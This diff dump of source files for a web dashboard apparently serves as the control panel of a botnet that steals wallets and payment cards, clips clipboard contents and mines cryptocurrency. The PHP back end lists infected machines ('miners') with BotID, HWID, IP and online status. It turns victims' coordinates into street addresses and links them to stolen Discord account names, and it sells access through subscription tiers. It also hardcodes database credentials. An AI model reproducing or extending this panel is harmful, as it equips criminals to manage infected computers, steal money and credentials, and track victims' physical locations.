<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-wallet mr-1 icon"></i>
<span id="cookiesHeaderText"> Wallets</span>
</h1>
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
</div>
<style>
.entry-search-container {
display: flex;
align-items: center;
/* Vertically center the items */
}
</style>
<div class="2 text-right mx-5 mt-2">
<div class="grid grid-cols-4 gap-5">
<div class="0">
<h1 style="color: #111111;">s</h1>
</div>
<div class="1">
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
<option value="10">10</option>
<option value="25">25</option>
<option value="50">50</option>
<option value="75">75</option>
<option value="100">100</option>
</select>
</div>
<div class="2 col-span-2">
<div class="sc-container">
<input data-sc="" id="searchInput"
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
placeholder="Search Logs" type="text">
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
</div>
</div>
</div>
</div>
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<style>
.hover-link {
color: #97928E;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.truncate-cell {
max-width: 100px;
/* Adjust the maximum width as needed */
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
</style>
<div class="table-responsive">
<table id="DashTable" class="table-fixed w-full mt-5">
<thead class="">
<tr class="text-center">
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Pc Name </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP | Country </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Wallet Type </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Download </h1>
</th>
</tr>
</thead>
<tbody id="logsContent" class="mt-5">
<style>
.hover-link {
color: #97928E;
/* Initial color */
transition: color 0.3s ease-in-out;
/* Color transition with animation */
}
.hover-link:hover {
color: #f54b42;
/* Color on hover */
}
input::placeholder {
color: #a8a29e;
}
</style>
<script>
function deleteRecord(id) {
if (confirm('Are you sure you want to delete this record?')) {
// Create a hidden form and submit it with the ID
var form = document.createElement('form');
form.method = 'post';
form.action = '';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'id';
input.value = id;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function opensite(url) {
window.open(url);
}
function copyText(element) {
/* Copy text into clipboard */
navigator.clipboard.writeText(element);
}
</script>
</tbody>
</table>
</div>
<script>
// Function to refresh the DataTable
function refreshDataTable() {
var table = $('#DashTable').DataTable();
table.ajax.reload(null, false); // Reload without resetting page
}
// Function to initialize the DataTable
function initializeDataTable() {
// Initialize DataTable with server-side processing
var table = $('#DashTable').DataTable({
serverSide: true,
"lengthMenu": [10, 25, 50, 75, 100],
"language": {
"search": "Search Data: " // Replace with your custom text
},
ajax: {
url: 'wlts31.php', // Replace with the correct path to your PHP script
type: 'POST',
beforeSend: function () {
// Show the header text with a loading animation
$('#cookiesHeaderText').html(' Wallets <i class="fas fa-spinner fa-spin"></i>');
},
complete: function () {
// Restore the header text to "Cookies" after the data is loaded
$('#cookiesHeaderText').html(' Wallets');
}
},
columns: [{
data: 0
},
{
data: 1
},
{
data: 2
},
{
data: 3
}
],
paging: true,
ordering: true,
dom: 'lrtip' // This specifies the DataTables elements to display
});
// Add an event listener to your custom search input
$('#searchInput').on('keyup', function () {
// Get the input value
var inputValue = $(this).val();
// Use DataTables' search() method to filter the table
table.search(inputValue).draw();
});
// Add an event listener to the entry number drop-down
$('#entriesSelect').on('change', function () {
// Get the selected value
var selectedValue = $(this).val();
// Change the number of entries displayed per page
table.page.len(selectedValue).draw();
});
// Hide the default DataTables length dropdown
$('div.dataTables_length').css('display', 'none');
// Optionally, you can remove the label as well
$('label[for="DashTable_length"]').css('display', 'none');
}
// Call the initializeDataTable function on page load
$(document).ready(function () {
initializeDataTable();
// Refresh the DataTable every 1 minute (60000 milliseconds)
setInterval(refreshDataTable, 60000);
});
</script>
</div>
</div>
</div> <!-- end -->
<style>
@keyframes topFlyIn {
from {
transform: translateY(-100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Define the left-flying animation keyframes */
@keyframes leftFlyIn {
from {
transform: translateX(-100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the right-flying animation keyframes */
@keyframes rightFlyIn {
from {
transform: translateX(100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the bottom-flying animation keyframes */
@keyframes bottomFlyIn {
from {
transform: translateY(100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Apply the animation to elements with the respective class */
.top-flying {
animation-name: topFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(-100%);
}
.left-flying {
animation-name: leftFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(-100%);
}
.right-flying {
animation-name: rightFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(100%);
}
.bottom-flying {
animation-name: bottomFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(200%);
}
</style>
<script src="../assets/js/status.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function () {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function () {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
+67
View File
@@ -0,0 +1,67 @@
:root {
--background: #151515;
--secondary-background: #111111;
--main-color: #850000;
--main-hover-color: #258efe;
--discord-col: #7289DA;
--paypal: #253B80;
}
.icon {
transition: linear 0.3s;
}
.btn:hover .icon {
color: var(--main-color);
}
.icon2 {
transition: linear 0.3s;
}
.btn2:hover .icon2 {
color: var(--main-color);
}
.iconB {
transition: linear 0.3s;
}
.btnB:hover .iconB {
color: black;
}
input::placeholder {
color: rgb(207, 203, 202);
}
input:focus {
outline: none;
}
.container {
height: 100vh;
max-width: 600px;
margin: auto;
display: flex;
flex-direction: column;
justify-content: center;
padding: 1rem;
}
.drop-in {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 500ms; /* Add a 500ms delay before starting the animation */
}
@keyframes drop-in {
from {
opacity: 0;
transform: translateY(-100px);
}
to {
opacity: 1;
transform: translate(0px);
}
}
.even {
border-radius: 2rem;
}
+103
View File
@@ -0,0 +1,103 @@
:root {
--background: #151515;
--secondary-background: #111111;
--main-color: #850000;
--main-hover-color: #258efe;
--discord-col: #7289DA;
--paypal: #253B80;
}
.icon {
transition: linear 0.3s;
}
.btn:hover .icon {
color: var(--main-color);
}
.icon2 {
transition: linear 0.3s;
}
.btn2:hover .icon2 {
color: var(--main-color);
}
.iconB {
transition: linear 0.3s;
}
.btnB:hover .iconB {
color: black;
}
input::placeholder {
color: rgb(207, 203, 202);
}
input:focus {
outline: none;
}
.container {
height: 100vh;
max-width: 600px;
margin: auto;
display: flex;
flex-direction: column;
justify-content: center;
padding: 1rem;
}
.drop-in1 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 500ms; /* Add a 500ms delay before starting the animation */
}
.drop-in2 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 1000ms; /* Add a 500ms delay before starting the animation */
}
.drop-in3 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 1500ms; /* Add a 500ms delay before starting the animation */
}
.drop-in4 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 2000ms; /* Add a 500ms delay before starting the animation */
}
.drop-in5 {
transition: linear;
transform: perspective(300px) rotateY(-2deg);
animation: drop-in 1s ease 100ms backwards;
animation-delay: 1300ms; /* Add a 500ms delay before starting the animation */
}
.drop-in6 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 3000ms; /* Add a 500ms delay before starting the animation */
}
.drop-in7 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 3200ms; /* Add a 500ms delay before starting the animation */
}
.drop-in8 {
transition: linear;
animation: drop-in 1s ease 200ms backwards;
animation-delay: 4000ms; /* Add a 500ms delay before starting the animation */
}
@keyframes drop-in {
from {
opacity: 0;
transform: translateY(-100px);
}
to {
opacity: 1;
transform: translate(0px);
}
}
.even {
border-radius: 2rem;
}
File diff suppressed because it is too large Load Diff
+221
View File
@@ -0,0 +1,221 @@
@import url('https://fonts.googleapis.com/css2?family=Nunito+Sans&display=swap'); /* Nunito */
@import url('https://fonts.googleapis.com/css2?family=Kanit&display=swap'); /* Kanit */
@import url('https://fonts.googleapis.com/css2?family=Poppins&display=swap'); /* Poppins */
::-webkit-scrollbar {
width: 0;
}
/* ONLY CHANGE THESE COLORS */
:root {
--background: #111111;
--secondary-background: #151515;
--main-color: #850000;
--main-hover-color: #258efe;
--discord-col: #7289DA;
--paypal: #253B80;
}
body {
margin: 0;
}
/* custom colors for html code */
.bg {
background-color: var(--background);
}
.bgGreen {
background-color: #68FF19; /* You can replace 'green' with your desired green color */
}
.transBg {
background-color: rgba(10, 11, 12, 0.3);
}
.dg {
background-color: var(--secondary-background);
}
.bgCol {
background-color: var(--main-color);
}
.bgTrans {
background-color: rgba(37, 142, 254, 0.5);
}
.bgCol-hover:hover {
background-color: var(--main-hover-color);
}
.textCol {
color: var(--main-color);
}
.textCol-hover {
transition: 0.3s linear;
}
.textCol-hover:hover {
color: var(--main-color);
}
.textPaypal {
color: var(--paypal);
}
.dcBg {
background-color: var(--discord-col);
}
.colShwHvr {
box-shadow: 0px 0px 2px 1px var(--background);
transition: 0.3s linear;
}
.colShwHvr-left:hover {
box-shadow: 0px 0px 2px 1px var(--main-color);
transform: perspective(300px) rotateY(2deg);
}
.colShwHvr-center:hover {
box-shadow: 0px 0px 2px 1px var(--main-color);
-webkit-transform: scale(2);
transform: scale(1.03);
}
.colShwHvr-right:hover {
box-shadow: 0px 0px 2px 1px var(--main-color);
transform: perspective(300px) rotateY(-2deg);
}
.colShwHvr-right-img:hover {
transform: perspective(300px) rotateY(-2deg);
}
.brdCol {
border-color: var(--main-color);
}
.brdBg {
border-color: var(--background);
}
.brdDg {
border-color: var(--secondary-background);
}
.discordCol {
background-color: var(--discord-col);
}
.fnt {
font-family: 'Nunito Sans', sans-serif;
}
.fntBold {
font-family: 'Kanit', sans-serif;
}
.fntPoppins {
font-family: 'Poppins', sans-serif;
}
.content {
max-width: 90rem;
margin-inline: auto;
}
.contentLogin {
max-width: 40rem;
margin-inline: auto;
}
.miAuto {
margin-inline: auto;
}
.card1 {
transform: perspective(300px) rotateY(2deg);
transition: 0.3s linear;
}
.card2 {
transform: perspective(300px) rotateY(-2deg);
transition: 0.3s linear;
}
.card3 {
transform: perspective(300px) rotateY(2deg);
transition: 0.3s linear;
}
.card4 {
transform: perspective(300px) rotateY(-2deg);
transition: 0.3s linear;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.spin {
animation: spin 0.2s linear infinite;
}
.spin img {
overflow-clip-margin: content-box;
overflow: clip;
}
/* Status Colors */
.green {
color: #15803d;
}
.greenTrans {
background-color: rgba(21, 128, 61, 0.2);
}
/* Extra */
.sdwLight {
box-shadow: 0px 0px 2px 1px black;
}
.moidgndnfg {
height: 58rem;
}
.transStore {
background-color: rgba(10, 10, 10, 0.7);
}
.dgmnojdfng {
width: 21rem;
}
.gmodgnodfngdfgg {
margin-right: 1.5rem;
}
.gmodgnodfngdfg {
margin-right: 4.55rem;
}
.dgmnojdfngtryr {
width: 35rem;
}
.dmfgodfng {
width: 21rem;
}
.typewriter-text {
display: inline-block;
overflow: hidden;
animation: typing 3s steps(30, end);
}
@keyframes typing {
from {
width: 0;
}
to {
width: 100%;
}
}
.typewriter-text2 {
display: inline-block;
overflow: hidden;
animation: typing 3s steps(30, end);
}
@keyframes typing {
from {
width: 0;
}
to {
width: 100%;
}
}
.customHomeWidthForTwext {
width: 40rem;
}
.maxHeight {
height: 52rem;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 191 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 954 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 274 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 602 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

+19
View File
@@ -0,0 +1,19 @@
function checkForExe() {
var buildNameInput = document.getElementById('buildName');
// Check if the input ends with '.exe'
if (buildNameInput.value.toLowerCase().endsWith('.exe')) {
alert('Error: File extension ".exe" not allowed.');
buildNameInput.value = ''; // Clear the input
}
}
function validateForm() {
// You can perform additional form validation here if needed
return !document.getElementById('buildName').value.toLowerCase().endsWith('.exe');
}
///////////////
+1
View File
@@ -0,0 +1 @@
+293
View File
@@ -0,0 +1,293 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$username = $_SESSION['admin_name'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString) {
return strlen($inputString) > 5;
}
/**
* Enhanced input sanitization
*/
function sanitizeInput($input) {
if (!is_string($input)) {
return false;
}
// Define forbidden characters
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
$input_lower = strtolower($input);
// Check for forbidden characters and SQL keywords
foreach ($forbiddenChars as $char) {
if (strpos($input_lower, strtolower($char)) !== false) {
return false;
}
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
/**
* Validate user role and permissions
*/
function validateUserPermissions($role, $username, $secretkey) {
if (empty($role) || empty($username) || empty($secretkey)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection
*/
function createDatabaseConnection() {
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
// Main execution
try {
// Validate session and permissions
if (!validateUserPermissions($role, $username, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
throw new Exception('Invalid session or insufficient permissions');
}
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
throw new Exception('Database connection failed');
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
$sanitizedSearch = sanitizeInput($rawSearchValue);
if ($sanitizedSearch !== false && strlen($sanitizedSearch) > 0) {
$searchValue = $sanitizedSearch;
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'PcName',
1 => 'IP',
2 => 'Country',
3 => 'Hardware',
4 => 'OS',
5 => 'LastPing',
6 => 'BotID'
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'BotID'; // Default sort column
$orderDirection = 'DESC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build base query with proper parameter binding
$baseWhere = "WHERE 1 = 1";
$params = [];
// Role-based filtering
if ($role === "Founder") {
if ($username !== "Hopesar") {
$baseWhere .= " AND PcName NOT LIKE :exclude_emre AND PcName NOT LIKE :exclude_eozer";
$params['exclude_emre'] = '%emre%';
$params['exclude_eozer'] = '%eozer%';
}
} else {
$baseWhere .= " AND OwnerID = :owner_id";
$params['owner_id'] = $secretkey;
}
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
PcName LIKE :search1 OR
OS LIKE :search2 OR
Hardware LIKE :search3 OR
HWID LIKE :search4 OR
Country LIKE :search5 OR
IP LIKE :search6
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
$params['search4'] = $searchPattern;
$params['search5'] = $searchPattern;
$params['search6'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT BotID, PcName, IP, Country, Hardware, OS, LastPing
FROM miners
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
$currentTime = time();
foreach ($results as $row) {
// Generate secure buttons HTML
$botId = intval($row['BotID']);
$buttonsHtml = generateButtonsHtml($botId, $role);
// Calculate status based on last ping
$status = calculateStatus($currentTime, $row['LastPing']);
$data[] = [
htmlspecialchars($row['PcName'], ENT_QUOTES, 'UTF-8'),
htmlspecialchars($row['IP'], ENT_QUOTES, 'UTF-8'),
htmlspecialchars($row['Country'], ENT_QUOTES, 'UTF-8'),
htmlspecialchars($row['Hardware'], ENT_QUOTES, 'UTF-8'),
htmlspecialchars($row['OS'], ENT_QUOTES, 'UTF-8'),
$status,
$buttonsHtml
];
}
// Get total count
$countQuery = "SELECT COUNT(*) as total FROM miners $baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
/**
* Generate secure buttons HTML
*/
function generateButtonsHtml($botId, $role) {
$botId = intval($botId); // Ensure integer
$actionButton = ($role === 'Trial')
? 'onclick="window.location.href=\'https://luckyware.co/Subscriptions/\'"'
: 'onclick="openActions(' . $botId . ')"';
return '
<div class="pt-2">
<button class="bg px-4 py-1 rounded text-stone-400 btn2 mr-1" onclick="infoModalOpen(' . $botId . '), modalStart()">
<i class="fa-solid fa-info icon2 miAuto text-sm"></i>
</button>
<button class="bg px-4 py-1 rounded text-stone-400 btn2 mr-1" ' . $actionButton . '>
<i class="fa-solid fa-play icon2 miAuto text-sm"></i>
</button>
<button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $botId . ')">
<i class="fa-solid fa-trash miAuto text-sm"></i>
</button>
</div>
';
}
/**
* Calculate status based on last ping time
*/
function calculateStatus($currentTime, $lastPingTimestamp) {
$timeDifference = $currentTime - intval($lastPingTimestamp);
if ($timeDifference <= 250) {
return '<span class="status-online-text">Online</span>';
} elseif ($timeDifference <= 172800) {
return '<span class="status-offline-text">Offline</span>';
} else {
return '<span class="status-dead-text">Dead</span>';
}
}
?>
+1819
View File
File diff suppressed because it is too large Load Diff
+129
View File
@@ -0,0 +1,129 @@
<?php
session_start();
$role = $_SESSION['Role'];
$secretkey = $_SESSION['secret_key'];
function isStringLengthGreaterThan5($inputString)
{
return strlen($inputString) > 5;
}
function convertToEnglish($input)
{
$transliterationMap = array(
'ı' => 'i',
'İ' => 'I',
'ğ' => 'g',
'Ğ' => 'G',
'ü' => 'u',
'Ü' => 'U',
'ş' => 's',
'Ş' => 'S',
'ö' => 'o',
'Ö' => 'O',
'ç' => 'c',
'Ç' => 'C',
'â' => 'a',
'Â' => 'A',
'î' => 'i',
'Î' => 'I',
'û' => 'u',
'Û' => 'U',
'ê' => 'e',
'Ê' => 'E',
'ô' => 'o',
'Ô' => 'O'
);
$englishString = strtr($input, $transliterationMap);
return $englishString;
}
function reverseGeocode($latitude, $longitude)
{
$url = "https://nominatim.openstreetmap.org/reverse?format=json&lat=$latitude&lon=$longitude";
$headers = array(
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
"Referer: https://www.example.com" // Replace with your actual website URL
);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
curl_close($ch);
$data = json_decode($response, true);
$data = json_decode($response, true);
if ($data && isset($data['display_name'])) {
$display_name = $data['display_name'];
return "$display_name";
} else {
return "Unable to fetch Addres.";
}
}
if (isStringLengthGreaterThan5($secretkey)) {
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
if (isset($_GET['botId'])) {
$botId = intval($_GET['botId']); // Sanitize input
// First query with prepared statement
if ($role == 'Founder') {
$sql = "SELECT * FROM miners WHERE BotID = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $botId);
} else {
$sql = "SELECT * FROM miners WHERE BotID = ? AND OwnerID = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "is", $botId, $secretkey);
}
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if ($result && mysqli_num_rows($result) > 0) {
$data = mysqli_fetch_assoc($result);
$ownerID = $data['OwnerID'];
$HWIDPro = $data['HWID'];
$CPU = $data['CPU'];
$OS = $data['OS'];
$lat = $data['lat'];
$lon = $data['lon'];
$data['Addres'] = convertToEnglish(reverseGeocode($lat, $lon));
// Second query with prepared statement
$query = "SELECT Username FROM tokens WHERE HWID = ? AND OwnerID = ?";
$stmt2 = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt2, "ss", $HWIDPro, $ownerID);
mysqli_stmt_execute($stmt2);
$resultunu = mysqli_stmt_get_result($stmt2);
if ($resultunu) {
$discordAccounts = array();
while ($row = mysqli_fetch_assoc($resultunu)) {
$discordAccounts[] = $row['Username'];
}
$data['DiscordAccounts'] = implode(' | ', $discordAccounts);
} else {
$data['DiscordAccounts'] = 'None!';
}
echo json_encode($data);
} else {
echo json_encode(array("error" => "Data not found"));
}
} else {
}
mysqli_close($conn);
}
+2277
View File
File diff suppressed because it is too large Load Diff
+1
View File
@@ -0,0 +1 @@
/* your styles go here */
+13697
View File
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+13697
View File
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+13697
View File
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+13697
View File
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+13697
View File
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
+7
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+112
View File
@@ -0,0 +1,112 @@
[
{
"_id": "59c0c8e33b1527bfe2abaf92",
"index": 0,
